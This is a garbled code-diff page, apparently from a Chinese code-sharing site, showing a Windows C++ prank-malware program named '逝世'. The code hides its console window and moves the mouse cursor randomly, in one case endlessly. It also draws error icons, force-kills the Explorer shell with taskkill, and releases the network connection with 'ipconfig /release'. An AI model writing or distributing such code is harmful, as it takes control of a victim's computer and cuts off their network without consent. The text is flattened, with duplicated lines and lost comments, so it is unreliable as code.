版本比较
逝世
正文
增加 14 行删除 14 行
2 行未改动345678910111213789101112131415151617181912 行未改动323334353636373839404141424344452 行未改动484950515252535455568 行未改动6566676869697071727348 行未改动1221231241251261261271281291301301311321331342 行未改动2 行未改动#include <windows.h>using namespace std;/*void Make_Text(string same, string name){ //HWND hWnd = GetConsoleWindow(); //SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); ofstream outfile(same,ios::out); if (!outfile) { cerr<<"open error"<<endl; } //HWND hWnd = GetConsoleWindow(); //SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); ofstream outfile(same,ios::out); if (!outfile) { cerr<<"open error"<<endl; } outfile<<name; outfile.close(); outfile.close();}*///??????void shutdown(int x, int y){12 行未改动 int y = GetSystemMetrics(SM_CYSCREEN); srand(time(0)); if (q == 1)//?q?1?,?????? while(1) SetCursorPos(rand() % x, rand() % y); SetCursorPos(rand() % x, rand() % y); else{//??????? while(q){ SetCursorPos(rand() % x, rand() % y); q--; } } }}//???????void Hide()2 行未改动 s = FindWindow("ConsoleWindowClass", NULL);//???????? if (s) { ShowOwnedPopups(s, SW_HIDE);//???????????????????? ShowWindow(s, SW_HIDE);//???? } }}//??????void Icon(int x, int y, int n){8 行未改动 DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR)); if(n == 2)//????? DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING)); if(n == 3)//?????? DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO)); DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO)); }}//??void Die()48 行未改动 }}void explore()//?????????{ system("taskkill /im explore.exe /f"); system("taskkill /im explore.exe /f");}void release()//????{ system("ipconfig /release"); system("ipconfig /release");}int main(){ Currur(1);2 行未改动